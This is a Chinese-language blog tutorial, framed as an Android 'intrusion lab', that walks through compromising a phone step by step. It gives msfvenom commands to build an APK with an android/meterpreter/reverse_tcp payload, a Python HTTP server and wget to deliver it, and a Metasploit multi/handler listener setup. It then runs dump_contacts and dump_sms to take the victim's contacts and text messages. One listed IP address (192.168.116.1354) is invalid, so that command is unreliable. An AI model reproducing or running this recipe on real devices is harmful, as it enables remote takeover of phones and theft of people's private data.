admin管理员组

文章数量:1569917

安卓手机入侵实验

要求：

电脑主机与手机模拟器或者真机在当前环境下，网络是畅通的，相互之间可以进行通信。

如何进行测试网络环境：

我们首先需要确定IP。

linux通过终端命令 # ip a 或者 #ifconfig

windown下：win加r输入cmd调出终端，使用ipconfig查看ip地址。

kali下：

Android模拟器下：

在安卓真机下：打开wifi

操作：

知道IP后使用ping命令测试是否可以连通。

终端下命令：

​ ping 目标主机ip

测试步骤：

可以ping通后开始进行入侵测试：

  1. 使用msfvenom生成一个连接kali主机的apk安卓应用

lhost=192.168.1.10 （这是Kali的IP），lport=4444 （默认4444）端口，1.apk（生成apk的名字）

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.116.1354 lport=4444 R > 1.apk

home下点开test

apk安卓应用上传到安卓手机

步骤一：kali开启HTTP服务80端口

命令：

​ python3 -m http.server 80

​ 步骤二：安卓下通过ip访问网站下载

​ 模拟器下有bug可以通过

终端下命令：切换路径 cd /sdcard

开始下载 wget ip/apk文件

真机可以直接浏览器下输入ip地址访问

安卓下载安装完成并且给与程序权限

​ 3. 回到kali

​ 输入命令启动msfconsole

  1. 选择工具模块

    命令：

    use exploit/multi/handler

    1. 设置攻击载荷

      set payload android/meterpreter/reverse_tcp

  1. 设置监听方ip地址（kali的IP地址）

    set LHOST ip

  2. 设置端口

    set LPORT 4444

  3. run运行

  4. 回到安卓点击安装的程序

  5. kali下可以执行操作了

    查看目标安卓手机通讯录：dump_contacts

完成后的文件保存在home，目录下

​ 查看目标手机短信 ：dump_sms

至此操作完成

补充：

可以使用help 查看命令帮助

本文标签： 第二天手机

版权声明：本文标题：第二天-03-安卓手机的入侵实验 内容由热心网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：https://m.elefans.com/xitong/1727654138a1123745.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。